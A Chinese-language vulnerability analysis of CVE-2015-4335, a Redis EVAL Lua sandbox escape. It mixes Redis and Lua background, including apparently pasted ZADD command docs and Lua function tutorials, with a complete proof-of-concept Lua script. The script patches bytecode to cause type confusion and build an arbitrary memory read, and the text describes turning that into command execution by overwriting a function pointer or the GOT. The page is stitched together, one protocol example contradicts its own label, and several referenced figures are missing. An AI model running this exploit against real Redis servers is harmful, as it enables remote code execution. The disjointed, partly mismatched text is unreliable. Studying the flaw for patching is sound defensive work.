CVE-2015-4335_Redis EVAL Lua沙箱绕过漏洞

Catalogue
  1. 1. 漏洞信息
    1. 1.1. 漏洞简介
    2. 1.2. 组件概述
    3. 1.3. 漏洞概述
    4. 1.4. 漏洞影响
    5. 1.5. 漏洞修复
  2. 2. 漏洞复现
    1. 2.1. 应用协议
    2. 2.2. 漏洞复现
  3. 3. 漏洞分析
    1. 3.1. 技术背景
      1. 3.1.1. lua数据结构–闭包
    2. 3.2. 详细分析
      1. 3.2.1. 漏洞利用过程
      2. 3.2.2. 代码分析
      3. 3.2.3. 补丁分析
    3. 3.3. 流量分析
  4. 4. 参考资料

漏洞信息

漏洞简介

  • 漏洞名称:Redis EVAL Lua沙箱绕过漏洞
  • 漏洞编号:CVE-2015-4335
  • 漏洞类型:代码注入
  • CVSS评分:【CVSS v2.0:10.0】【CVSS v3.0:】
  • 漏洞危害等级:高危

组件概述

​ Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

​ 它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

漏洞概述

​ Redis 2.8.1之前版本和3.0.2之前3.x版本中存在安全漏洞。远程攻击者可执行eval命令利用该漏洞执行任意Lua字节码。

漏洞影响

Redis:up to 2.8.20

Redis:3.0.0 up to 3.0.1

漏洞修复

https://github.com/redis/redis/commit/fdf9d455098f54f7666c702ae464e6ea21e25411

漏洞复现

应用协议

6379/RESP(Redis的序列化协议)

漏洞复现

漏洞分析

技术背景

​ Redis是轻量级的,非易失性键值数据存储。 它通过Redis序列化协议(RESP)提供对简单易变数据结构的访问,该协议是基于TCP的协议。 与大多数其他数据库一样,Redis遵循客户端—服务器模型。 客户端能够通过Redis命令在Redis服务器上创建,修改和检索记录。

​ 例如,以下命令创建“ TEST”字符串记录并将其分配给“ 1234”键值,将此记录修改为“ TEST2”并分别检索记录:

1
2
3
SET 1234 TEST
GETSET 1234 TEST2
GET 1234

​ 有关Redis命令的完整列表,请参考 http://redis.io/commands

​ Redis客户端通过端口6379通过TCP使用Redis序列化协议(RESP)与服务器进行通信。可通过 http://redis.io/topics/protocol获得该协议详细说明。 RESP使用五种数据类型,这些数据类型由相应数据的第一个字节标识:

  • 简单字符串以“ +”字符开头

  • 错误以“-”字符开头

  • 整数以“:”字符开头

  • 批量字符串以“ $”字符开头

  • 数组以“ *”字符开头

    ​ 批量字符串以“ $”字符开头,后跟相应字符串的长度。 以下重点介绍如何将“ Sangfor”表示为大容量字符串:

1
2
$7 CRLF
TELUS

​ 其中CRLF表示新的行序列回车(CR),后跟换行(LF)。

​ RESP数组以“ *”字符开头,后跟数组中的元素数。 下面说明了一个由2个元素组成的大容量字符串数组:

1
2
3
4
5
*2 CRLF
$7 CRLF
Sangfor CRLF
$4 CRLF
TEST CRLF

​ 所有Redis命令都通过RESP字符串数组发送到服务器。 例如,上述SET命令将以下形式发送:

1
2
3
4
5
6
7
*3 CRLF
$3 CRLF
SET CRLF
$4 CRLF
1234 CRLF
$4 CRLF
TEST CRLF

Lua是Redis 支持的轻量级脚本语言。 Redis内置了Lua解释器。Lua在Redis中的使用方法,可参考https://www.redisgreen.net/blog/intro-to-lua-for-redis-programmers/

​ Redis客户端可通过EVAL命令使用此解释器。 Lua脚本允许用户管理和操纵Redis服务器上的记录。 例如,以下Lua脚本可用于执行上述SET命令:

1
EVAL "redis.call('set','1234','TEST')" 0

​ 执行此Lua脚本的另一种方法是使用SCRIPT LOAD和EVALSHA命令。 SCRIPT LOAD命令在服务器上缓存Lua脚本,并返回SHA1摘要。 EVALSHA命令可以与此SHA1摘要一起用作执行脚本的参数。 下面是一个示例:

1
2
SCRIPT LOAD "redis.call('set','1234','TEST')" 0
EVALSHA <SHA1 digest from above>

​ Lua还提供了分别使用struct.pack和struct.unpack方法将Lua变量与C类型的Stucts相互转换的方法。 例如,以下内容可用于包装整数:

1
struct.pack ("<I2", 10)
  • “I”指定整数是无符号的(“ i”用于有符号整数)
  • “<”指定应以小端格式表示(“>”用于大端格式)
  • “2”指定整数为2个字节长
  • “10”指定要打包的整数的值

ZADD key score member [[score member] [score member] …]

可用版本: >= 1.2.0

时间复杂度: O(M*log(N)), N 是有序集的基数, M 为成功添加的新成员的数量。

将一个或多个 member 元素及其 score 值加入到有序集 key 当中。

如果某个 member 已经是有序集的成员,那么更新这个 memberscore 值,并通过重新插入这个 member 元素,来保证该 member 在正确的位置上。

score 值可以是整数值或双精度浮点数。

如果 key 不存在,则创建一个空的有序集并执行 ZADD 操作。

key 存在但不是有序集类型时,返回一个错误。

对有序集的更多介绍请参见 sorted set

Note:在 Redis 2.4 版本以前, ZADD 每次只能添加一个元素。

返回值

被成功添加的新成员的数量,不包括那些被更新的、已经存在的成员。

代码示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# 添加单个元素

redis> ZADD page_rank 10 google.com
(integer) 1


# 添加多个元素

redis> ZADD page_rank 9 baidu.com 8 bing.com
(integer) 2

redis> ZRANGE page_rank 0 -1 WITHSCORES
1) "bing.com"
2) "8"
3) "baidu.com"
4) "9"
5) "google.com"
6) "10"


# 添加已存在元素,且 score 值不变

redis> ZADD page_rank 10 google.com
(integer) 0

redis> ZRANGE page_rank 0 -1 WITHSCORES # 没有改变
1) "bing.com"
2) "8"
3) "baidu.com"
4) "9"
5) "google.com"
6) "10"


# 添加已存在元素,但是改变 score 值

redis> ZADD page_rank 6 bing.com
(integer) 0

redis> ZRANGE page_rank 0 -1 WITHSCORES # bing.com 元素的 score 值被改变
1) "bing.com"
2) "6"
3) "baidu.com"
4) "9"
5) "google.com"
6) "10"

LuaDec是lua 5.1的Lua反编译器,并且是lua 5.2和5.3的实验版。它基于Hisham Muhammad的luadec,其针对Zsolt Sz的lua 5.0.x和LuaDec51。Sztupak。

LuaDec是免费软件,并且使用与原始LuaDec相同的许可证。

编译中

1
2
3
4
5
6
7
git clone https://github.com/viruscamp/luadec
cd luadec
git submodule update --init lua-5.1
cd lua-5.1
make linux
cd ../luadec
make LUAVER=5.1

如果要为lua 5.2或5.3构建它,只需将上面的5.1替换为5.2或5.3。

还有vc2008的项目文件,已针对vc2008和vc2013进行了测试。
编译之前,请确保lua-5.1,lua-5.2或lua-5.3中的源正确。

用法

  • 反编译lua二进制文件:
    luadec abc.luac
  • 反编译lua源文件以进行测试和比较:
    luadec abc.lua
  • 反汇编lua源代码或二进制
    luadec -dis abc.lua
  • -pn打印嵌套函数结构,-fn可以使用
1
2
3
4
5
luadec -pn test.lua
0
0_0
0_0_0
0_1
  • -f仅反编译特定的嵌套函数
    luadec -f 0_1 test.lua
  • -ns不处理子函数
    luadec -ns -f 0_1 test.lua
  • -fc对每个函数
    luadec -fc test.lua进行逐条指令比较
    :输出
    -函数检查通过0-
    函数检查失败0_0:无法编译
    -函数检查失败0_1:不同的代码大小;sizecode组织:66;反编译:67;相同:47;

还有更多选项,通常用于调试目的,或用于内置本地猜测器猜测错误的情况。使用-h获取可用参数的完整列表

lua的字节码

​ lua源码在执行前,会被编译为字节码,字节码能加快程序的加载,保存lua源码被意外的修复。lua的字节码只在具有相同的字长和字节顺序的机器上能够移植。
​ luac编译器能将lua源码编译为字节码二进制文件,其命令如:

1
luac a.lua

​ luac默认的输出文件为luac.out,可以通过 -o 选项来指定输出文件。

1
luac -o a.out a.lua

​ 当Lua发布新版时,luac生成的二进制文件的内部格式可能改变。

字节码文件头

lua5.1字节码文件头的长度为12字节,Win7 64位,VS下编译为Win32应用如下:

1
1b4c 7561 5100 0104 0404 0800

其中第1-4字节为:”\033Lua”;第5字节标识lua的版本号,lua5.1为 0x51;第6字节为官方中保留,lua5.1中为 0x0;
第7字节标识字节序,little-endian为0x01,big-endian为0x00;
第8字节为sizeof(int);第9字节为sizeof(size_t);第10字节为sizeof(Instruction),Instruction为lua内的指令类型,在32位以上的机器上为unsigned int;第11字节为sizeof(lua_Number),lua_Number即为double;
第12字节是判断lua_Number类型起否有效,一般为 0x00;

lua5.2字节码文件头的长度为18字节,在我的环境里(Win7 64位,VS下编译为Win32应用)如下:

1
1b4c 7561 5200 0104 0404 0800 1993 0d0a 1a0a

其中第1-12字节与lua5.1意义相同,第5字节在lua5.2中为 0x52;
第13-18字节是为了捕获字节码的转换错误而设置的,其值为 “\x19\x93\r\n\x1a\n”;

PS:lua在判断字节序时使用的方法如下:

1
2
3
4
5
6
7
1 void luaU_header (char* h)
2 {
3 int x=1;
4 //...
5 *h++=(char)*(char*)&x; /* endianness */
6 //...
7 }

在little-endian时,*(char*)&x值为0x01;big-endian时,*(char*)&x值为 0x00;

字节码文件正文

lua5.1 在文件头之后,就是正头,它由一个个函数组成,其中第一个函数包含由文件内全部内容,引全局函数名为”@”+文件件名(包含”.lua”后缀),在此文件中定义的函数都会在全局函数中以常量字符串保存;
每个函数的内容缓存如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
源文件名的长度(包括'\0'),为sizeof(size_t)个字节长,只有全局函数有源文件名,其它内部函数其长度填0;
源文件名(包括\0),长度为长度*sizeof(char)个字节;
函数行数,全局函数的填0,长度为sizeof(int)个字节;
函数的最后一行,全局函数的填0,长度为sizeof(int)个字节;
函数的upvalues数目,长度为sizeof(char)个字节;
函数的参数个数,全局函数的填0,长度为sizeof(char)个字节;
函数的vararg个数,只有全局函数有;
函数最大的栈数目,长度为sizeof(char)个字节;
函数的指令数目,长度为sizeof(int)个字节;
函数的指令,长度为指令数目*sizeof(Instruction)个字节;
函数中常量的数目,长度为sizeof(int)个字节;
函数中的常量,长度为常量数目*(常量类似标识长度+指定常量点用的长度),常量类似标识长度为sizeof(char)个字节;
函数中的内部函数数目,长度为sizeof(int)个字节;
内部函数的定,格式同外部函数;
函数的调试信息;

​ 文件binc.lua的内容如下:

1
2
1 local i = 6;
2 return 1;

​ 其正文的字节码(lua5.1编译,不包括调试信息,前面的空白外为文件头):

1
2
3
4
5
6
                              0a00 0000
4062 696e 632e 6c75 6100 0000 0000 0000
0000 0000 0202 0400 0000 0100 0000 4140
0000 5e00 0001 1e00 8000 0200 0000 0300
0000 0000 0018 4003 0000 0000 0000 f03f
0000 0000

lua5.2 的正文部分与lua5.1存在差别。其没有源文件名的说明,别对于upvalue的处理也不一样,lua5.2中upvalue在常量后面定义,由upvalue的数目后加上分upvalue的定义组成。

string.gsub()

  • 原型:string.gsub (s, pattern, repl [,m])
  • 解释:这个函数会返回一个替换后的副本,原串中所有的符合参数pattern的子串都将被参数repl所指定的字符串所替换,如果指定了参数m,那么只替换查找过程的前m个匹配的子串,参数repl可以是一个字符串、表、或者是函数,并且函数可以将匹配的次数作为函数的第二个参数返回,接下来看看参数repl的含义:
  • 如果参数repl是一个常规字符串,成功匹配的子串会被repl直接替换,如果参数repl中包含转移字符%,那么可以采用%n的形式替换,当%n中的n取值1-9时,表示一次匹配中的第n个子串,当其中的n为0时,表示这次匹配的整个子串,%%表示一个单独的%
  • 如果参数repl是一个表,那么每次匹配中的第一个子串将会作为整个表的键,取table[匹配子串]来替换所匹配出来的子串,当匹配不成功时,函数会使用整个字符串来作为table的键值。
  • 如果参数repl是一个函数,那么每一次匹配的子串都将作为整个函数的参数,取function(匹配子串)来替换所匹配出来的子串,当匹配不成功时,函数会使用整个字符串来作为函数的参数。如果函数的返回值是一个数字或者是字符串,那么会直接拿来替换,如果它返回false或者nil,替换动作将不会发生,如果返回其他的值将会报错。

Usage

  • 首先新建一个文件将文件命名为gsubtest.lua然后编写如下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
-- 常规替换
x = string.gsub("hello world", "(%w+)", "lua")
print("\n",x)

-- 都用匹配的第一个串*2来替换
x = string.gsub("hello world", "(%w+)", "%1 %1")
print("\n",x)

-- 用匹配出的完成串*2来替换第一次匹配的结果
x = string.gsub("hello world", "%w+", "%0 %0", 1)
print("\n",x)

-- 使用一个完整匹配和一个匹配的第二个串来替换
x = string.gsub("hello world from c to lua", "(%w+) (%a+)", "%0 %2")
print("\n",x)

-- 调用系统函数来替换
x = string.gsub("os = $OS, pathext = $PATHEXT", "%$(%w+)", os.getenv)
print("\n",x)

-- 调用自定义函数
x = string.gsub("4 + 5 = $return 4+5$", "%$(.-)%$", function (s)
return loadstring(s)()
end)
print("\n",x)

-- 调用表来替换
local t = {name="lua", version="5.1"}
x = string.gsub("$name-$version.tar.gz", "%$(%w+)", t)
print("\n",x)
  • 有一点需要注意的是,使用函数作为替换结果时,函数只能返回数字、字符串、falsenil

string.dump()

  • 原型:string.dump (function)
  • 解释:返回一个包含所给函数二进制描述的字符串,以至于在此之后可以使用函数loadstring()利用所得到的字符串来返回一个函数拷贝,需要注意的是函数只能是Lua函数并且没有upvalues(外部局部变量)。

Usage

  • 首先新建一个文件将文件命名为dumptest.lua如下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
--自定义一个函数
function custom_func(num1, num2)
local ret = num1 + num2;
print("\nnum1 = "..num1)
print("num2 = "..num2)
print("num1 + num2 = "..ret)
end

-- 将函数序列化
local func_content = string.dump(custom_func)
print("\nfunc_content = "..func_content)

-- 将转化后的字符串写入文件
local outfile = io.open("dumptest.txt", "w")
local outnum = outfile:write(func_content)
outfile:close()

-- 从文件总读取内容
local infile = io.open("dumptest.txt", "r")
local incontent = infile:read("*a")
infile:close()
print("\ninput content is "..incontent)

-- 加载函数
local myfunc = loadstring(incontent)

-- 执行函数
myfunc(1, 1)

myfunc(3, 6)

-- 输出这个幸福的七月七
myfunc("7" ,".7")

print("\nthis is a happy day!")
print(os.date())
  • 看了这个函数是不是有种非常神奇的感觉,原来传说中的序列化可以离我们这么近。
  • 在调用了函数string.dump()之后函数custom_func()被转化成字符串保存在文件中,可以在使用时再取出来。
  • 这个函数一般写逻辑代码应该用不到,更多的是做框架的时候用的功能,进过序列化的函数可以通过网络传送、转化、再使用。

loadstring()

  • loadstring(string [,chunkname])
  • 解释:函数会从所给的字符串中来加载程序块并运行,常使用这种构造式来调用assert(loadstring(s))(),如果省略参数chunkname,那么它默认为所给的字符串。

usage

  • 首先我们新建一个文件将文件命名为loadstring.lua然后编写代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
-- 简单测试
local ret = loadstring("print(\"first test loadstring function.\")")
print("\nthe result ret is", ret)


-- 运行返回值
print("\nthe result of running ret() is:")
ret();


-- 使用常用的方式
print("\nthe result of running common test is:")
assert(loadstring("print(\"common test loadstring function.\")"))()


-- 直接生成一个全局函数
local func = loadstring("function func_test(str) print(\"str = \", str) end")

-- 测试函数是否生成
print("\nbefore run func, functest =", func_test)
func()
print("\nafter run func, functest =", func_test, "\n")

-- 测试参数chunkname的作用
assert(loadstring("i = i + 1", "third test"))()
  • 由结果一可知,函数loadstring()与函数loadfile()一样,都是返回一个函数。
  • 由结果二可知,返回函数的内容就是字符串参数string的内容,执行返回的函数时,字符串中的代码就被执行了。
  • 结果三展示了这个函数的一般使用方法。
  • 结果四展示了如何通过字符串生成一个全局函数,但是无法生成局部函数,并且生成的函数func_test()在调用完函数func()之后才被创建出来
  • 最后一个例子展示了参数chunkname的作用,就是在错误的提示信息中起到提示作用。

lua数据结构–闭包

闭包主要由以下2个元素组成:

函数原型:上图意在表明是一段可执行代码。在Lua中可以是lua_CFunction,也可以是lua自身的虚拟机指令。

上下文环境:在Lua里主要是Upvalues和env,下面会有说明Upvalues和env。 在Lua里,我们也从闭包开始,逐步看出整个结构模型,下面是Closure的数据结构:(lobject.h 291-312)

​ Lua的闭包分成2类,一类是CClosure,即luaC函数的闭包。另一类是LClosure,是Lua里面原生的函数的闭包。

​ 分析一下两类Closure相同部分ClosureHeader:

  • CommonHeader:和与TValue中的GCHeader能对应起来的部分

  • isC:是否CClosure

  • nupvalues:外部对象个数

  • gclist:用于GC销毁

  • env:函数的运行环境

对于CClosure数据结构:

  • lua_CFunction f:函数指针,指向自定义的C函数

  • TValue upvalue[1]:C的闭包中,用户绑定的任意数量个upvalue

对于LClosure数据结构:

  • Proto *p:Lua的函数原型,在下面会有详细说明

  • UpVal *upvals:Lua的函数upvalue,这里的类型是UpVal,这里之所以不直接用TValue是因为具体实现需要一些额外数据。

UpVal的实现

什么是UpVal?先来看看代码:

​ 分析一下上面这段代码,最终testB的值显然是3+5+10=18。当调用testA(5)的时候,其实是在调用FuncB(5),但是这个FuncB知道a = 3,这个是由FuncA调用时,记录到FuncB的外部变量,我们把a和c称为FuncB的upvalue。

​ 下面描述一下Lua中的原生函数的函数原型,即Proto数据结构(lobject.h 231-253):

  • CommonHeader:Proto也是需要回收的对象,也会有与GCHeader对应的CommonHeader

  • TValue* k:函数使用的常量数组,比如local d = 10,则会有一个10的数值常量

  • Instruction *code:虚拟机指令码数组

  • Proto **p:函数里定义的函数的函数原型,比如funcA里定义了funcB,在funcA的5. Proto中,这个指针的[0]会指向funcB的Proto

  • int *lineinfo:主要用于调试,每个操作码所对应的行号

  • LocVar *locvars:主要用于调试,记录每个本地变量的名称和作用范围

  • TString **upvalues:一来用于调试,二来用于给API使用,记录所有upvalues的名称

  • TString *source:用于调试,函数来源,如c:\t1.lua@ main

  • sizeupvalues: upvalues名称的数组长度

  • sizek:常量数组长度

  • sizecode:code数组长度

  • sizelineinfo:lineinfo数组长度

  • sizep:p数组长度

  • sizelocvars:locvars数组长度

  • linedefined:函数定义起始行号,即function语句行号

  • lastlinedefined:函数结束行号,即end语句行号

  • gclist:用于回收

  • nups:upvalue的个数,其实在Closure里也有nupvalues,这里我也不太清楚为什么要弄两个,nups是语法分析时会生成的,而nupvalues是动态计算的。

  • numparams:参数个数

  • is_vararg:是否参数是”…”(可变参数传递)

  • maxstacksize:函数所使用的stacksize

    ​ Proto的所有参数都是在语法分析和中间代码生成时获取的,相当于编译出来的汇编码一样是不会变的,动态性是在Closure中体现的。

详细分析

漏洞利用过程

​ 利用到的漏洞分别为OP_FORPREP/OP_FORLOOP、OP_CLOSURE中的类型混淆,LUA提供了string.dump将一个lua函数dump为LUA字节码,同时loadstring函数加载字节码为LUA函数,通过操作LUA原始字节码可以使得LUA解释器进入特殊状态,甚至导致BUG发生。

具备任意地址读/写能力后是一定可以做代码执行的,目前想到如下两种方式。

1) 覆写CClosure->f

​ 在lua中可以使用coroutine.wrap创建C函数闭包对象CClosure,其结构如下:

​ CClosure->f指向函数指针,调用其对应的源码为deps/lua/src/ldo.c 307-326:

2) 覆写got

​ Linux PWN常规思路,通过DynELF解析Binary,进一步解析libc,获取system地址并覆写至fputs.got;在lua中调用print(“id”)即可执行命令。

代码分析

​ 利用到的漏洞分别为OP_FORPREP/OP_FORLOOP、OP_CLOSURE中的类型混淆,LUA提供了string.dump将一个lua函数dump为LUA字节码,同时loadstring函数加载字节码为LUA函数,通过操作LUA原始字节码可以使得LUA解释器进入特殊状态,甚至导致BUG发生。

​ 这里以Redis 3.0.0版本进行分析。

1
2
3
4
5
6
#!cpp
asnum = loadstring(string.dump(function(x)
for i = x, x, 0 do
return i
end
end):gsub("\96%z%z\128", "\22\0\0\128"))

LUA字节码固定长度32bits,4字节,定义如下:

主要由op操作码、R(A)、R(B)、R(C)、R(Bx)、R(sBx)组成。A、B、C对应于LUA寄存器索引。

asnum函数可以将任意LUA对象转换为数字。(注:LUA5.1 64bitLinux环境)gsub函数将字节码\96%z%z\128替换为\22\0\0\128

1) OP_FORPREP/OP_FORLOOP

​ lua中对for循环生成的字节码,利用luadec反编译工具查看.out文件的字节码如下:

​ 可以看到for循环是由FORPREP、FORLOOP两条指令组合而来,对应的源码是deps/lua/src/lvm.c 的luaV_execute函数(line 654-680):

​ 在OP_FORPREP中,lua对参数进行类型检查,判断是否为number类型,若不是则触发错误;然而在OP_FORLOOP中,因已做过类型检查,便假定参数为number类型,并对其执行idx = idx + step操作,这导致任意类型到number类型的混淆。

​ 如下修改字节码中的FORPREP指令\96%z%z\128为JMP指令\22\0\0\128,gsub函数将字节码\96%z%z\128替换为\22\0\0\128,如下。

​ 正常情况下lua在forprep指令会检查参数是否为数字类型,并执行初始化,但是由于执行gsub函数后,forprep字节码被替换为JMP to 5,直接跳过OP_FORPREP中的类型检查,直接进入OP_FORLOOP (5):

​ forloop指令直接将循环参数转换为lua_Number(double)类型,(因为正常情况下forprep已经检查过类型了),然后执行加法(+ 0),执行dojump return x;返回lua_Number。LUA使用TValue表示通用数据对象,格式如下:

Value(64bit) tt(32bit) padd(32bit)
n LUA_TNUMBER
GCObject *gc; -> TString* LUA_TSTRING
GCObject *gc; -> Closure* LUA_TFUNCTION

2) OP_CLOSURE

​ LUA使用CLOSURE A Bx指令创建函数的一个实例(或闭包)。Bx是要实例化的函数在函数原型表中的函数编号。例如:closure 2 0 ,创建0号函数对象,结果保存到2号寄存器。对CLOSURE指令的处理位于deps/lua/src/lvm.c 的luaV_execute函数(line 723-742):

​ line 731-737是对闭包的处理,具体为在CLOSURE指令后后生成对应的MOVE指令,MOVE指令的第二个参数为闭包变量引用。正常情况下引用只能指向当前栈桢中的局部变量,但通过修改字节码,可以将其指向至任意位置。

​ 如上,通过修改”(\100%z%z%z)….”(MOVE 0 0)为”%1\0\0\0\1”(MOVE 0 2),将middle函数中的magic引用指向middle函数自身(R2),所以输出的结果为middle函数。

​ 对函数调用的处理位于deps/lua/src/lvm.c line 586-606:

​ 对函数返回的处理位于deps/lua/src/lvm.c line 382-390:

​ line 385将L->ci->func(当前函数指针)转换为Closure指针,由上文可知,通过修改字节码可以将闭包变量引用指向当前函数指针,导致任意类型到Closure类型的混淆。

​ 基于此,结合number类型混淆,可以做任意地址读/写:

​ 结尾处修改字节码,将middle/inner函数中的magic引用指向middle函数;inner函数中将magic赋值为字符串,这使得middle函数中的当前函数指针将被混淆为该字符串,函数返回; middle函数中读取闭包变量magic,读取闭包变量对应的源码为deps/lua/src/lvm.c line 427-431:

​ 其实际上是去当前函数指针的upvals字段中获取相应引用,而当前函数指针已被混淆为字符串,对应的upvals字段可控。

TString类型与Closure类型的结构如下:

​ 变量upval为字符串,as_double(upval)获取其TString指针,偏移24获取到upval->str地址,也就是说cl->p、cl->upvals[0]都指向输入的字符串”commonhead16bits” .. p32(lo) .. p32(hi)。

​ UpVal结构如下:

​ 所以cl->upvals[0]->v指向构造的指针p32(lo) .. p32(hi),也即为addr。

​ 以上,便将任意地址的前8字节读取出来,写操作也是同理,只需要在middle函数中对magic赋值,需注意的是写操作实际会写入8字节数值及4字节tt类型:

​ deps/lua/src/lvm.c line 451-456:

​ deps/lua/src/lobject.h line 161-164:

触发poc.lua

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!cpp
asnum = loadstring(string.dump(function(x)
for i = x, x, 0 do
return i
end
end):gsub("\96%z%z\128", "\22\0\0\128"))

ub4 = function(x) -- Convert little endian uint32_t to char[4]
local b0 = x % 256; x = (x - b0) / 256
local b1 = x % 256; x = (x - b1) / 256
local b2 = x % 256; x = (x - b2) / 256
local b3 = x % 256
return string.char(b0, b1, b2, b3)
end

f2ii = function(x) -- Convert double to uint32_t[2]
if x == 0 then return 0, 0 end
if x < 0 then x = -x end

local e_lo, e_hi, e, m = -1075, 1023
while true do -- this loop is math.frexp
e = (e_lo + e_hi)
e = (e - (e % 2)) / 2
m = x / 2^e
if m < 0.5 then e_hi = e elseif 1 <= m then e_lo = e else break end
end

if e+1023 <= 1 then
m = m * 2^(e+1074)
e = 0
else
m = (m - 0.5) * 2^53
e = e + 1022
end

local lo = m % 2^32
m = (m - lo) / 2^32
local hi = m + e * 2^20
return lo, hi
end

ii2f = function(lo, hi) -- Convert uint32_t[2] to double
local m = hi % 2^20
local e = (hi - m) / 2^20
m = m * 2^32 + lo

if e ~= 0 then
m = m + 2^52
else
e = 1
end
return m * 2^(e-1075)
end

read_mem = loadstring(string.dump(function(mem_addr) -- AAAABBBB 1094795585 1111638594
local magic=nil
local function middle()
local f2ii, asnum = f2ii, asnum
local lud, upval
local function inner()
magic = "01234567"
local lo,hi = f2ii(mem_addr)
upval = "commonhead16bits"..ub4(lo)..ub4(hi)
lo,hi = f2ii(asnum(upval));lo = lo+24
magic = magic..ub4(lo)..ub4(hi)..ub4(lo)..ub4(hi)
end
inner()
return asnum(magic)
end
magic = middle()
return magic
end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1)) --> move 0,3

x="AAAABBBB"
l,h=f2ii(asnum(x))
x=ii2f(l+24,h)
print(f2ii(read_mem(x)))

补丁分析

​ 漏洞是因为加载字节码导致的,Redis中的修复,直接禁止字节码加载:

流量分析

​ 直接eval命令发lua字节码脚本

参考资料